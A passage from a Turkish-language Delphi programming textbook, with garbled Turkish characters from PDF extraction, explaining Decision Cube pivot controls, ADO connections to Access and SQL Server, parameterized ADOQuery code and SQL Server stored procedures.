Al begin Form1.QuickRep1.Preview;//Baskı Önizleme yap end; 183 184 BÖLÜM 6 DECISION CUBE ILE ÖZET TABLO GÖRÜNTÜLERø OLUùTURMAK 185 186 Decision Cube Kontrolleri: Excel kullandıysanız bilirsiniz, tablolara ait özet görünümler elde etmek için kullanılan “Pivot Table” yapısı gibi özet tablo bilgilerini kullanıcıya seçenekli olarak gösterebilen bir yapraktır. Bu yaprakta bulunan kontroller birbirleriyle iç içe çalıútıkları için, teker teker de÷il hepsini beraberce inceleyece÷iz. Aúa÷ıda adım adım “Decision Cube” kontrollerini nasıl kullanabilece÷iniz açıklanmaktadır. Dikkatlice inceleyiniz. ølk Olarak Tablo Bilgilerini özet tablo görüntüsü olarak kullanıcıya nasıl gösterebilece÷inizi izah etmek istiyorum. Tablo Kayıtlarını Özet Tablo Olarak Listelemek: Birinci adım Formunuzun üzerine bir adet “DecisionQuery” kontrolü yerleútirerek üzerine mous ile çift tıklayın. Aúa÷ıdaki pencere açılacaktır. “Decision Query Editor” penceresinde ilk olarak “Database” kutusu içerisinden tablonuzun içerisinde yer aldı÷ı “Alias” ismini seçin. Ardından “Table” kutusunda o klasörde kayıtlı tüm tablolar listelenecektir. Özet görüntü alaca÷ınız tabloyu seçin. Tablonuzu seçtikten sonra, içerisinde yer alan tüm sütunlar “List of Available Fields” listesinde gözükecektir. “MAGAZAADIGIDENFIRMA” sütunlarını seçerek “Dimensions” penceresine, “FATURATUTARI” sütununuda “Sum” ı seçerek “Summaries” 187 penceresine aktarın. “SQL Query” yapra÷ına geçerek Delphi nin oluúturdu÷u sorgu komutlarını inceleyebilirsiniz. Bu adımda formunuza bir adet “DecisionCube” kontrolü yerleútirerek “DataSet” özelli÷ine “DecisionQuery1” de÷erini aktarın. Kaynaktaki bilgileri form üzerindeki kontrollere aktarmak için formunuza bir adet “DecisionSource” kontrolü yerleútirip “DecisionCube” özelli÷ine “DecisionCube1” de÷erini aktarın. Verileri listelemek için formunuzun üzerine yine “DecisionCube” yapra÷ında yer alan “DecisionGrid” kontrolü yerleútirerek, “DecisionSource” özelli÷ine “DecisionSource1” de÷erini aktarın. Son olarak “DecisionQuery1” kontrolüne ait “Active” özelli÷ini true yapıp programınızı çalıútırın. Ekran görüntünüz aúa÷ıdaki úekilde oluúacaktır. Ekran görüntüsüne dikkat edecek olursanız seçmiú oldu÷unuz sütunların istedi÷iniz yerde (satır veya sütun) listelenmiú olduklarını göreceksiniz. Mous sa÷ tuúu ile sütun baúlıklarına (MAGAZAADI-GIDENFIRMA) tıklarsanız gösterilecek olan sütunları de÷iútirebilirsiniz. Tablo Kayıtlarını Grafik ùeklinde Göstermek: ùimdiki amacımız özet tablo halinde oluúturulan kayıtları grafik úeklinde kullanıcıya göstermeyi sa÷lamak olacaktır. Birinci adım Formunuzun üzerine bir adet “DecisionQuery” kontrolü yerleútirerek üzerine mous ila çift tıklayın. Aúa÷ıdaki pencere açılacaktır. Açılan pencerede tüm iúlemleri “Dimensions/Summaries” yapra÷ında gerçekleútirece÷iz. 188 Bu yüzden “Dimensions/Summaries” yapra÷ını aktif hale getirip di÷er adımları izleyin. “Decision Query Editor” penceresinde ilk olarak “Database” kutusu içerisinden tablonuzun içerisinde yer aldı÷ı “Alias” ismini seçin. Ardından “Table” kutusunda o klasörde kayıtlı tüm tablolar listelenecektir. Özet görüntü alaca÷ınız tabloyu seçin. Tablonuzu seçtikten sonra, içerisinde yer alan tüm sütunlar “List of Available Fields” listesinde gözükecektir. “MAGAZAADIGIDENFIRMA” sütunlarını seçerek “Dimensions” penceresine, “FATURATUTARI” sütununuda “Sum” ı seçerek “Summaries” penceresine aktarın. “SQL Query” yapra÷ına geçerek Delphi nin oluúturdu÷u sorgu komutlarını inceleyebilirsiniz. Bu adımda formunuza bir adet “DecisionCube” kontrolü yerleútirerek “DataSet” özelli÷ine “DecisionQuery1” de÷erini aktarın. Kaynaktaki bilgileri form üzerindeki kontrollere aktarmak için formunuza bir adet “DecisionSource” kontrolü yerleútirip “DecisionCube” özelli÷ine “DecisionCube1” de÷erini aktarın. Verileri listelemek için formunuzun üzerine yine “DecisionCube” yapra÷ında yer alan “DecisionGraph” kontrolü yerleútirerek, “DecisionSource” özelli÷ine “DecisionSource1” de÷erini aktarın. Son olarak “DecisionQuery1” kontrolüne ait “Active” özelli÷ini true yapıp programınızı çalıútırın. Ekran görüntünüz aúa÷ıdaki úekilde oluúacaktır. 189 Burada de÷inmek istedi÷im di÷er bir hususta, “DecisionGraph” kontrolünü seçip mousun sa÷ tuúuna tıklarsanız, menü açılacaktır. Bu menüden “EditCharts” seçene÷ini tıklarsanız aúa÷ıdaki pencere açılacaktır. Bu pencerede “Delphi” kullandı÷ınız wizard sayesinde kendi serilerini otomatik olarak oluúturmuútur. DecisionPivot Kontrolü Kullanarak Senaryo Oluúturmak: Aynı örne÷imiz için úimdi de yeni senaryolar üretelim. Aúa÷ıdaki adımları teker teker inceleyiniz. Birinci adım Formunuzun üzerine bir adet “DecisionQuery” kontrolü yerleútirerek üzerine mous ila çift tıklayın. Aúa÷ıdaki pencere açılacaktır. 190 Açılan pencerede tüm iúlemleri “Dimensions/Summaries” yapra÷ında gerçekleútirece÷iz. Bu yüzden “Dimensions/Summaries” yapra÷ını aktif hale getirip di÷er adımları izleyin. “Decision Query Editor” penceresinde ilk olarak “Database” kutusu içerisinden tablonuzun içerisinde yer aldı÷ı “Alias” ismini seçin. Ardından “Table” kutusunda o klasörde kayıtlı tüm tablolar listelenecektir. Özet görüntü alaca÷ınız tabloyu seçin. Tablonuzu seçtikten sonra, içerisinde yer alan tüm sütunlar “List of Available Fields” listesinde gözükecektir. “MAGAZAADIGIDENFIRMA” sütunlarını seçerek “Dimensions” penceresine, “FATURATUTARI” sütununuda “Sum” ı seçerek “Summaries” penceresine aktarın. “SQL Query” yapra÷ına geçerek Delphi nin oluúturdu÷u sorgu komutlarını inceleyebilirsiniz. Bu adımda formunuza bir adet “DecisionCube” kontrolü yerleútirerek “DataSet” özelli÷ine “DecisionQuery1” de÷erini aktarın. Kaynaktaki bilgileri form üzerindeki kontrollere aktarmak için formunuza bir adet “DecisionSource” kontrolü yerleútirip “DecisionCube” özelli÷ine “DecisionCube1” de÷erini aktarın. Verileri listelemek için formunuzun üzerine yine “DecisionCube” yapra÷ında yer alan “DecisionGraph” kontrolü yerleútirerek, “DecisionSource” özelli÷ine “DecisionSource1” de÷erini aktarın. Bu adım da formunuzun üzerine “DecisionPivot” kontrolü yerleútirip “DecisionSource” özelli÷ine “DecisionDataSource1” de÷erini aktarın. 191 Son olarak “DecisionQuery1” kontrolüne ait “Active” özelli÷ini true yapıp programınızı çalıútırın. Ekran görüntünüz aúa÷ıdaki úekilde oluúacaktır. ùimdi “GIDENFIRMA” etiketine tıklarsanız ekran görüntünüz aúa÷ıdaki pencere gibi oluúacaktır (Firma isimlerinin gözükmedi÷ine dikkat ediniz). Görüntüye dikkat edecek olursanız “GIDENFIRMA” sütununa ait de÷erlerin yazılmadı÷ını görürsünüz. Aynı iúlemi “MAGAZAADI” sütunu içinde gerçekleútirebilirsiniz. De÷inmek istedi÷im son nokta úayet “SUM OF FATURATUTARI” kısmına mous sa÷ tuú ile tıklarsanız bir menü açılacak, bu menüden diledi÷iniz seçene÷i seçebileceksiniz. 192 Aynı durum di÷er sütun baúlıkları içinde geçerlidir. Yani “MAGAZAADI” sütunu üzerine mous sa÷ tuú ile tıklarsanız aúa÷ıdaki gibi ek senaryo üretmeniz için gerekli yardımcı menüler açılacaktır. Görüldü÷ü gibi açılan menüden diledi÷iniz seçene÷i seçebilirsiniz. Delphi sizin yerinize uygun senaryoyu yaratacak sonucu ekranda gösterecektir. 193 194 BÖLÜM 7 ADO KONTROLLERø 195 196 ADO Kontrolleri: Delphi uygulamaları geliútirilmesi sırasında Microsoft veritabanlarında bulunan tablo kayıtları kullanılacaksa o zaman “ADO” kontrollerine ihtiyaç duyacaksınız. Aslında Paradox dururken “Microsoft Access” a ba÷lanmak pek mantıklı gözükmesede mecbur kaldı÷ınızı düúünelim ve ba÷lantının nasıl yapılabilece÷ini gösterelim. Burada hatırlatmakta fayda var. “ADO” kontrollerine de÷inmemdeki amaç “Microsoft Access” veri tabanı uygulamaları geliútirmek için de÷il, daha büyük uygulamalar geliútirme imkanınızın bulundu÷u “SQL Server” veri tabanı uygulamalarını kullanmak amaçlanmıútır. Bu düúünceyle göreceksiniz örneklerimizin neredeyse tamamında “SQL Server” kullanılacaktır. Bilinmesi açısından ilk olarak “Microsoft Access” veri tabanına ba÷landıktan sonraki tüm uygulamalarımızı “SQL Server “üzerinden gerçekleútirece÷iz. Adoconnection Kontrolü: Genel amaçlı olarak daha sonra anlataca÷ım kontrollere bilgi da÷ıtmak için kullanılan bir kontroldür. Ba÷lanılacak olan veritabanı bu kontrol sayesinde belirlenebilecektir. Ba÷lantı iúlemleri için aúa÷ıdaki adımları izlemelisiniz. Formunuza “ADO” yapra÷ında yer alan bir adet “Adoconnection” kontrolü yerleútirin. Bu kontrolü seçip “Object Inspector” penceresinden “ConnectionString” özelli÷ine tıklayın. Aúa÷ıdaki pencere açılacaktır. Bu pencerede “Use Connection String” iúaret dü÷mesi seçili iken “Build” dü÷mesine tıklayın. Aúa÷ıda gözüktü÷ü úekilde yeni bir pencere açılacaktır. Bu pencerede ba÷lantı sa÷layaca÷ınız veritabanı iúlemlerini destekleyen motoru seçmek durumundasınız. ùayet “Microsoft Access” veritabanı ba÷lantısı 197 oluúturacaksanız “Microsoft 4.0 Jet OLE DB Provider” seçene÷ini seçmelisiniz. E÷er “SQL Server” a ba÷lansaydınız o zaman da “Microsoft OLE DB Provider SQL Server” seçene÷ini seçmeniz gerekecekti. Seçene÷inizi belirttikten sonra “Provider” yapra÷ına geçin. Bu yaprakta ba÷lantı türünüzü kullanarak kayıtlarına ulaúaca÷ınız tablolarınızı veya Query lerinizi belirlemelisiniz. Veri Tabanı ba÷lantı úeklini belirledikten sonra “ADO” yapra÷ında yer alan “Table-QueryStoredProc” kontrollerini kullanarak “Adoconnection” sayesinde bu Access” dosyasına eriúebileceksiniz. Provider penceresinde ilk olarak “Select or enter a database name” kısmına ba÷lanaca÷ınız veritabanının ismini girin veya seçin (yoluyla beraber). Dosya eriúimi için belirlenen bir úifre varsa girmelisiniz. ùayet yetkili bir úahıssanız úifre kısmını geçebilirsiniz. Bu pencerede son olarak ba÷lantının baúarılı bir úekilde gerçekleúip gerçekleúmedi÷ini belirlemeniz için “Test Connection” dü÷mesine tıklayın. Ba÷lantının baúarılı bir úekilde gerçekleúti÷ini belirten uyarı mesajıyla karúılaúırsanız, iúlem tamamlanmıú demektir. 198 Artık “OK” Buttonuna tıklayabilirsiniz. Ba÷lantı kurulmuú olup di÷er adımları atmanızı beklemektedir. Daha önce açmıú oldu÷unuz pencerede ba÷lantı yeriniz gözükecektir. Tekrar “OK” Buttonuna tıklayın. x ADOConnection1.Connected Ba÷lantının var olup olmadı÷ını belirleyen özelli÷idir. Boolean tip bir de÷iúken de÷eri alabilen bu özelli÷in true de÷erini döndürmesi ba÷lantının var oldu÷unu, false de÷erini döndürmesi ise ba÷lantının açık olmadı÷ını gösterecektir. x ADOConnection1.LoginPrompt Her ba÷lantı kurulmaya çalıúıldı÷ı zaman úifre penceresinin açılıp açılmayaca÷ını belirleyen özelli÷idir. Varsayılan de÷eri true dur ve her defasında pencere açılacaktır. procedure TForm2.FormCreate(Sender: TObject); begin ADOConnection1.LoginPrompt:=false; end; 199 ADOTable Kontrolü: Bu kontrol “Adoconnection” ı kullanarak veya direk olarak (Biz hep Adoconnection kullanmanızı tavsiye ediyoruz) Microsoft veritabanlarına ba÷lanmak için kullanılmaktadır. x ADOTable1.Connection “Adoconnection” kontrolünü kullanarak veritabanına ba÷lanmayı sa÷layan özelli÷idir. procedure TForm1.FormCreate(Sender: TObject); begin ADOTable1.Connection:=ADOConnection1; end; Dilerseniz bu aktarabilirsiniz. özelli÷e “Object Inspector” penceresinden de÷er de x ADOTable1.TableName Veri Tabanları içerisinde birden fazla tablo veya Query bulunabilece÷i için bu özellikle hangi tablonun kullanılaca÷ı belirlenmelidir. procedure TForm1.FormCreate(Sender: TObject); begin ADOTable1.Connection:=ADOConnection1; ADOTable1.TableName:='MAGAZATABLOSU.MDB'; end; Yine aynı úekilde dilerseniz “Object Inspector” penceresinden de de÷er atayabilirsiniz. Microsoft Access Veri Tabanına Ba÷lanmak: Yukarıdaki iki kontrolü formunuza yerleútirip gerekli tablo ba÷lantısını sa÷ladıktan sonra formunuza bir bir adet “Data Access” yapra÷ında yer alan “DataSource” nesnesi yerleútirin. “DataSource” kontrolüne ait “DataSet” özelli÷ine “ADOTable1” de÷erini aktarın. Son olarak kayıtların gözükebilmesi için formunuza bir adet “DataGrid” nesnesi yerleútirerek , “DataSource” özelli÷ine “DataSource1” içeri÷ini aktarın. 200 Belirtilen ayarları yaptıktan sonra programınızı çalıútırırsanız yukarıdaki úekilde bir ekran görüntüsüyle karúılaúırsınız. Buradan sonraki iúlemler daha önce gösterdi÷imiz úekilde gerçekleútirilebilir. SQL Server øle Çalıúmak: Delphi nin en uyumlu çalıúma ortamını “Oracle” veye “Paradox” ile oluúturdu÷unu daha önce belirtmiútik. Fakat Türkiye úartlarında orta ölçekli firmaların ço÷u “SQL Server” kullanmaktadır. Bu hususta programcıların yeterince kaynak bulamadıkları da bir gerçek, sizlere karúılaútı÷ınız bu sıkıntıları atlatmak için detaylı açıklamalar getirece÷im. A÷ ortamında (helede uygulama biraz karmaúıksa) Ufak ölçekli veri tabanı programlarıyla çalıúırsanız muhakkak belirli yerlerde programın performansından (veya di÷er etkinliklerinden) ödün vermek zorunda kalacaksınız. Güvenli÷i, performansı ve di÷er hususları maximum düzeye çıkarabilmeniz için bu tür büyük ölçekli bir Veri Tabanı uygulamasıyla çalıúmalısınız.Borland bu tür yazılımların lisansları çok yüksek ücret tutabildi÷i için, network ortamında etkinli÷i artırmayı “InterBase” server kullanarak halletmeye çalıúmıútır. “SQL Server” veya “Oracle” kullanarak yazılım geliútirirseniz, programa daha sonra müdahale etme úansınız olacaktır (ara yüze de÷il). Buda arayüzlerde hiç bir de÷iúiklik yapmadan, eklenebilecek yeniliklere upgrate edilme úansını do÷uracaktır. Ben de bugüne kadar yapmıú oldu÷um yazılımların ço÷unda “SQL Server” ba÷lantısı kullandım. “SQL Server” a “Access” ba÷lantısını yaptı÷ınız kontrollerle kolayca ba÷lanabilirsiniz. Daha önce “Microsoft Access” a ba÷landı÷ımız “ADOTable”, 201 “ADOQuery” veya “ADOStoredProc” kontrollerinden herhangi bir tanesini kullanabilirsiniz. “ADOTable” kontrolüne örnek yaptı÷ımız için bu sefer “ADOQuery” kullanarak ba÷lantı sa÷layaca÷ız. Bahsedilen ba÷lantı kontrollerinin tamamını örneklendirmekle beraber özellikle “ADOStoredProc” kontrolüne daha detaylı olarak de÷inece÷im. Sebepleri basittir. Birincisi Stored Procedur’ler ilk çalıútıkları anda bir kere derlenirler, ikinci kez ça÷rıldıklarında sadece parametre gönderimi söz konusudur, tekrar derlenme olmayacaktır. Peki bu ne demek, ikinci ça÷rılmada tekrar derlenme olmayaca÷ı için network trafi÷i azalacak, kayıtlar daha hızlı bir úekilde sorgulanacaktır. økinci önemli sebep ise “StoredProcedur” fonksiyonları çok geliúmiútir (Query ler Standart SQL Komutlarını kullanabilmektedir), Standart “SQL” komutlarının yanında, Bilgisayar dillerinin kullandı÷ı bir çok fonksiyonuda içerisinde kullanabilmektedir. Bu yüzden iste÷inize uygun verileri “Stored Procedur” ler ile çok daha rahat elde edebilirsiniz. Sanıyorum bahsetti÷im bu olaylar, bu kontrolü kullanmanız için yeterli sebep teúkil edecektir. Uygulamaya geçmeden önce “SQL Server” uygulamasının çalıúır vaziyette oldu÷unu kontrol ediniz. Bu iúlem için “Start->Programs->Microsoft SQLServer->Service Manager” adımlarını izleyerek açaca÷ınız aúa÷ıdaki pencereden (úayet çalıúmıyorsa) “Start” dü÷mesine basmanız yeterli olacaktır (Hatırlatalım “SQL Server” ı çalıútırabilmeniz için yetkili bir grubun üyesi olmanız gerekmektedir. Bu husus úu anki konumuz de÷il). Bu pencere de “Server” kısmında “SQL Server” programının yüklü oldu÷u bilgisayarın ismi, “Services” kısmın da ise çalıútıraca÷ınız servisin adı yazılı halde bulunacaktır. Adoconnection Kontrolünü Kullanarak SQL Server’a Ba÷lanmak: “ADOQuery-ADOTable-ADOStoredProc” kontrolleri ile direk ba÷lantı yerine “Adoconnection” kontrolü ile “SQL Server” veritabanına ba÷lanıp di÷er 202 kontrollere kayıtları buradan aktarırsanız uygulamanız daha derli toplu olacaktır. Ba÷lantı iúlemi için aúa÷ıdaki adımları izlemelisiniz. Birinci adım formunuza bir adet “Adoconnection” kontrolü yerleútirip, “ConnectionString” özelli÷ine tıklayın. Aúa÷ıdaki pencere açılacaktır. “Use Connection String” seçili iken “Build” dü÷mesine tıklayın. Aúa÷ıdaki gibi ba÷lantı türünü seçebilece÷iniz pencere açılacaktır. Bu pencerenin “Provider” yapra÷ından “Microsoft OLE DB Provider for SQL Server” seçene÷ini seçerek “Connection” yapra÷ına geçin. Connection yapra÷ına geçmek için “Next” dü÷mesine de basabilirsiniz 203 Bu pencerede “Select or a Server name” kısmından ba÷lanaca÷ınız “SQL Server” makinesinin ismini seçin. Aynı pencerede ikinci olarak “Select the database on the server” kısmından bellirtti÷iniz bilgisayarın içerisinde oluúturmuú oldu÷unuz tablonun bulundu÷u database i seçin. “Test Connection” dü÷mesine basarak ba÷lantı iúleminin baúarılı bir úekilde gerçekleúip gerçekleúmedi÷ini kontrol edin. “OK” e tıklayın. “OK” tıklayıp bitirin. Bu adımlardan sonra “EFSANE” isimli bilgisayarda oluúturulmuú olan “gazi” isimli database içerisindeki tüm tablolara “Adoconnection” kontrolü kullanılarak eriúilebilir. Biz örneklerinmiz için bu database içerisinde “SERVIS” isimli tablomuzu oluúturduk. Bu tabloya ba÷lanaca÷ız. 204 ADOQuery Kontrolü: Bu kontrol sayesinde Microsoft veri tabanlarına Standart SQL sorgu komutlarını kullanarak ba÷lanabilirsiniz. Direk komutları veri tabanına gönderebilece÷iniz gibi “Adoconnection” kontrolüne ba÷lanarak ta sorgu oluúturabilirsiniz. x ADOQuery1.Connection Hangi veri tabanına ba÷lanılaca÷ını belirleyen özelli÷idir. ùayet ba÷lantı iúleminde “Adoconnection” nesnesi kullandıysanız bu özellikte onu belirtmelisiniz. Kodla veya “Object Inspector” penceresinden ayarlayabilirsiniz. procedure TForm2.FormCreate(Sender: TObject); begin ADOQuery1.Connection:=ADOConnection1; end; Bu kodlamadan sonra “Adoconnection” nesnesinin ba÷lantı sa÷ladı÷ı database içerisindeki tüm tablo lar kolayca sorgulanabilir. x ADOQuery1.SQL.Add Tablolardan gösterilmesini istedi÷iniz sütunları ve kriterleri belirlemek için oluúturaca÷ınız Standart SQL komutlarını aktarabilece÷iniz özelli÷idir. procedure TForm2.FormCreate(Sender: TObject); begin ADOQuery1.Connection:=ADOConnection1; ADOQuery1.SQL.Add('Select * From SERVIS'); end; x ADOQuery1.Active Kayıtlara ulaúabilmek için sorgunuzu oluúturmanız yetmez. Sorgu komutlarınız do÷ru bile olsa ardından “Active” özeli÷ine “true” de÷erini aktarmak zorundasınız. procedure TForm2.FormCreate(Sender: TObject); begin ADOQuery1.Connection:=ADOConnection1; ADOQuery1.SQL.Add('Select * From SERVIS'); ADOQuery1.Active:=TRUE; end; 205 ADOQuery Kontrolüne Programdan Parametre Göndermek: Sorgulama iúleminde dilerseniz (neredeyse hep böyle olacak) formunuzun üzerinde bulunan kontrollerin de÷erinden de faydalanabilirsiniz. Kontroldeki de÷eri “ADOQuery” kontrolünün “Parameters” methoduna aktarmanız yeterli olacaktır. x ADOQuery1.Parameters[].Value Parametre olarak kullanaca÷ınız de÷eri aktaraca÷ınız methoddur. Köúeli pantez içerisine parametrenin index (kaçıncı parametre oldu÷u) numarasını girmeniz gerekmektedir. procedure TForm2.Button1Click(Sender: TObject); //Edit e Göre Sorgula begin ADOQuery1.Connection:=ADOConnection1; ADOQuery1.SQL.Clear; ADOQuery1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG');//bir adet parametre yaratıldı ADOQuery1.Parameters[0].Value:=Edit1.Text;//ilk parametre de÷eri ADOQuery1.Active:=TRUE; end; Programı çalıútırıp “Edit” kutusunun içerisine “MIGROS” de÷erini yazın. Arkasından “Sorgula” isimli dü÷meye tıklayın. Sadece “MIGROS” ma÷azalarının listelendi÷ini göreceksiniz. Bu uygulama için formunuzun üzerine 206 bir adet “DataSource” ve bir adette “DataGrid” nesnesi yerleútirip, “DataSource” kontrolünün “DataSet” özelli÷ine “AdoQuery1” de÷erini “DataGrid” nesnesinin “DataSource” özelli÷ine de “DataSource1” de÷erini aktarmalısınız. Unutmayınız Veri Tabanına ba÷lanıp kayıtları kontrollere aktardıktan sonraki çalıúma, hepsi için aynı mantı÷ı içermektedir. SQL Server a, Access’a veya Paradox’a sadece ba÷lantı úekilleri de÷iúik olacaktır. Ba÷lanıldıktan sonraki çalıúma mantı÷ı neredeyse aynı denilebilecek kadar benzerdir. ADOStoredProc Kontrolü: Bu kontrol sayesinde “SQL Server” da oluúturulmuú olan Stored procedur lere kolayca ba÷lanabilirsiniz. Söylemiútik Stored Procedur ler di÷er (Table,Query) ba÷lantı kontrollerine göre daha hızlı sonuç verirler. Bu yüzden bir çok durumda tercih sebebiniz olmalıdır. Bu bölümde ilk olarak Stored Procedur leri “SQL Server” içerisinde nasıl oluúturabilece÷inizi gösterece÷im. Daha sonrada program içerisinden “Stored Procedur” lere nasıl parametre gönderebilece÷inizi izah edece÷im. SQL Server’da Stored Procedure Oluúturmak: Stored procedur’ler genellikle “SQL Server” içerisinde (veya Oracle’da) oluúturulurlar. “SQL Server” programını yükledikten sonra “Start->Programs>Microsoft SQL Server->EnterPrise Manager” adımlarını izleyerek daha önce içerisinde “gazi” database ini oluúturdu÷unuz pencerenin açılmasını sa÷layın. 207 Bu pencerede “Database” klasörü içerisinde oluúturmuú oldu÷unuz “gazi” database inin solundaki “+” iúaretine tıklayarak içerisindeki di÷er yapıları görüntüleyin. Buradaki “Tables ve Views” daha önce anlatmıú oldu÷umuz tablo ve Query” ba÷lantıları için kullanılmaktadır. Biz Stored Procedure ba÷lantısı gerçekleútirece÷imiz için “gazi” database i içerisinde yer alan “Stored Procedures” seçene÷ini seçin. Sa÷ taraftaki beyaz ekranda mousun sa÷ tuúuna tıklayıp açılan menüden “New Stored Procedure” seçene÷ini seçin. Aúa÷ıdaki pencere açılacaktır. Stored Procedure kodlarını buradaki beyaz pencere içerisine yazmalısınız. ùimdi parametre içermeyen ilk basit “Stored Procedur” kodlarını yazıp Delphi içerisinden ba÷lantı iúlemini gerçekleútirelim. Beyaz ekrandaki kodu aúa÷ıdaki úekilde de÷iútirin. “OK” dü÷mesine basın “Stored Procedur” ünüz beyaz ekranda “ilkornek” ismiyle kaydedilecektir (kontrol edin). 208 Stored Procedur’e ait kodu yazdıktan sonra “Check Syntax” dü÷mesine basarak kodda bir hata olup olmadı÷ını kontrol ettirin. ùayet dü÷meye bastıktan sonra aúa÷ıdaki úekilde “Syntax check successful!” uyarısıyla karúılaúırsanız yazdı÷ınız kodda bir hata oluúmadı÷ını düúünebilirsiniz. Yazdı÷ımız “Stored Procedur” e ait kodlamada iki adet sütun oluúturulmakta (çok basit oldu÷unu belirteyim. Daha sonra kodları zorlaútıraca÷ım), birinci “MAGAZAADI” sütunu, ikincisi ise aynı sütunun küçük harfle yazılmıú hali olacaktır. Delphi øçerisinden Stored Procedur’lere Ulaúmak: “SQL Server” içerisinde oluúturmuú oldu÷unuz Stored Procedur’e ulaúmak hiç te zor de÷il, aúa÷ıdaki adımları izlemeniz yeterli olacaktır. Birinci adımda formunuzun üzerine bir adet “Adoconnection” kontolü yerleútirip “Connection String” özelli÷ine daha önce anlattı÷ımız úekilde “gazi” database ini aktarın. økinci adımda formunuza “ADO” yapra÷ında yer alan “ADOStoredProc” kontrolünden bir adet sürükleyin. Bu kontrole ait di÷er ayarları kod penceresinden yapaca÷ız. østerseniz “Object Inspector” penceresinide kullanabilirsiniz. Üçüncü adımda formunuza bir adet “DataSource” nesnesi yerleútirip “DataSet” özelli÷ine “ADOStoredProc1” kontrolünü aktarın. 209 Dördüncü adımda formunuza bir adet “DataGrid” nesnesi yerleútirerek “DataSource” özelli÷ine “DataSource1” kontrolünü atayın. En son tasarım görüntünüzün aúa÷ıdaki úekilde oluúması gerekecektir. Son olarak aúa÷ıdaki kod blo÷unu formunuzun “OnCreate” yordamına eklemelisiniz. procedure TForm3.FormCreate(Sender: TObject); begin ADOStoredProc1.Connection:=ADOConnection1;//kaynak ADOStoredProc1.ProcedureName:='ilkornek';//ba÷lanılacak olan prosedür ADOStoredProc1.Active:=true;//unutmayın end; Artık programınızıçalıútırabilirsiniz. Programı çalıúturdıktan sonra aúa÷ıdaki úekilde bir ekran görüntünüzün oluúması gerekecektir. Görüldü÷ü gibi Stored procedur içerisinde yazdı÷ımız kodlar sonucu “MAGAZAADI” sütunu ile, küçük harfe çevrilmiú halini görüntüleyebildik. 210 Parametre øçeren Stored Procedure Oluúturmak: “EnterPrise Manager” penceresinde “gazi” isimli database içerisinde bulunan “Stored Procedure” satırına mous sa÷ tuúu ile tıklayıp “New Stored Procedure” penceresini açtırın. Bu pencereye yukarıdaki kodu ekleyiniz. Dikkat edin prosedürün ismi “para” parametreside “@magaza” olarak belirlenmiútir. ùimdi Delphi içerisinden “para” isimli “Stored Procedure” ba÷lanarak “@magaza” isimli parametreye de÷er gönderece÷iz. Bu sayede projede belirtti÷imiz ma÷aza ismine ait servisleri listelemiú olaca÷ız. Programdan Stored Procedur’e Parametre De÷eri Göndermek: Bu bölümde “SQL Server” içerisinde oluúturmuú oldu÷unuz parametre içeren “Stored Procedur” e programdan nasıl parametre de÷eri gönderebilece÷inizi gösterece÷im. Yukarıda oluúturmuú oldu÷umz “Stored Procedur”e ba÷lanarak örnek üzerinde bu iúlemi sizlere göstermek istiyorum. Birinci adımda formunuza bir adet “AdoConnection” kontrolü yerleútirip “gazi” isimli database ba÷lanın. økinci adımda formunuza bir adet “ADOStoredProc” kontrolü yerleútirip “Object Inspector” penceresinden “Connection” özelli÷ine “Adoconnection1” kontrolünü, “Procedure Name” özelli÷ine de “para” isimli “Stored Procedur” ünüzü aktarın. 211 Üçüncü adımda formunuza bir adet “DataSource” nesnesi yerleútirerek “DataSet” özelli÷ine “ADOStoredProc1” kontrolünü aktarın. Dördüncü adımda formunuza bie adet “DataGrid” nesnesi yerleútirerek “DataSource” özelli÷ine “DataSource1” kontrolünü aktarın. Son olarak formunuza bir adet “Edit” ve bir adet “Button” kontrolü yerleútirip aúa÷ıdaki tasarımı oluúturunuz. Aúa÷ıdaki kod blo÷unu “Button” kontrolünün “OnClick” yordamına ekleyiniz. procedure TForm4.Button1Click(Sender: TObject); begin ADOStoredProc1.Parameters.ParamByName('@magaza').Value:=Edit1.Text; ADOStoredProc1.ExecProc; ADOStoredProc1.Active:=true; end; Artık programınızı çalıútırabilirsiniz. “Edit” kontrolüne girece÷iniz ma÷azaya yapılmıú olan servisler listelenecektir. Burada dikkatinizi çekmek istedi÷im bir husus olacak, yukarıdaki uygulamayı çalıútırdı÷ınız zaman birinci seferde yazmıú oldu÷unuz ma÷aza ismini kolayca listeletebilirsiniz. økinci kez baúka bir parametre yazıp “Gönder” isimli dü÷meye tıklarsanız kayıtlarınızın de÷iúmedi÷ini göreceksiniz. Aslında Stored Procedur’e parametre de÷eri gönderilip sonuç bulunmuútur, fakat güncelleme iúlemi yapılamamıútır(genellikle DBGrid1.refresh komutunun bu iúlemi halledece÷i düúünülsede bu do÷ru de÷ildir. Yeniden oluúturulan sorguya ba÷lanmak gerekecektir). Bu yüzden kodunuzu aúa÷ıdaki úekilde de÷iútirmeniz gerekecektir. 212 procedure TForm4.Button1Click(Sender: TObject); begin ADOStoredProc1.Active:=FALSE; ADOStoredProc1.Parameters.ParamByName('@magaza').Value:=Edit1.Text; ADOStoredProc1.Prepared; ADOStoredProc1.Active:=true; end; ùimdi istedi÷iniz parametreleri girip projenizi çalıútırabilirsiniz. Her defasında farklı ma÷aza isimleri listelenecektir. øleri Düzey Stored Procedur Uygulamaları: Yavaú yavaú dozajı artırarak (yazmıú oldu÷um programların yanında bunlar çocuk oyunca÷ı kalacak ama, henüz piyasa tecrübesi olmayan programcılar için çok güzel bir geçiú aúaması olacak) geliúmiú “Stored Procedure” örnekleri yapaca÷ım. Aúa÷ıdaki örnekler için hep aynı tasarımı kullanaca÷ız. Her defasında bu iúlem anlatılmayacaktır. Stored Procedur Kullanarak Kayıtları De÷iútirmek: ùimdiki uygulamamızda “Stored Procudur” e parametre de÷eri göndererek istedi÷imiz ma÷aza ismine yeni isim verebilece÷iz. Yapılan iúlemin sadece parametre göndermek oldu÷u kodlamadan dikkatinizi çekmiútir sanırım. Yazaca÷ınız çok geliúmiú “Stored Procedur” leri bu úekilde sadece parametre göndererek çalıútırmanız performansınızı maximum de÷ere taúıyacaktır. Aúa÷ıdaki “Stored Prosedur” içerisinde, gönderilen iki parametre de÷eri sayesinde (bu parametre de÷erleri forma yerleútirilen iki adet Edit kontrolünden belirlenmektedir) ma÷aza ismi de÷iútirilmekte ikinci parametre de÷eri yeni ma÷aza ismi olmaktadır. 213 ùimdi verece÷imiz “Stored Procedur”ü “SQL Server” içerisinde daha önce gösterilen adımları izleyerek oluúturunuz. “Stored Procedur” kodlarını inceleyecek olursak, ismi “degistir” olarak belirlenmiútir. Ardından “@oncekideger” ile “@yenideger” isminde iki adet parametre 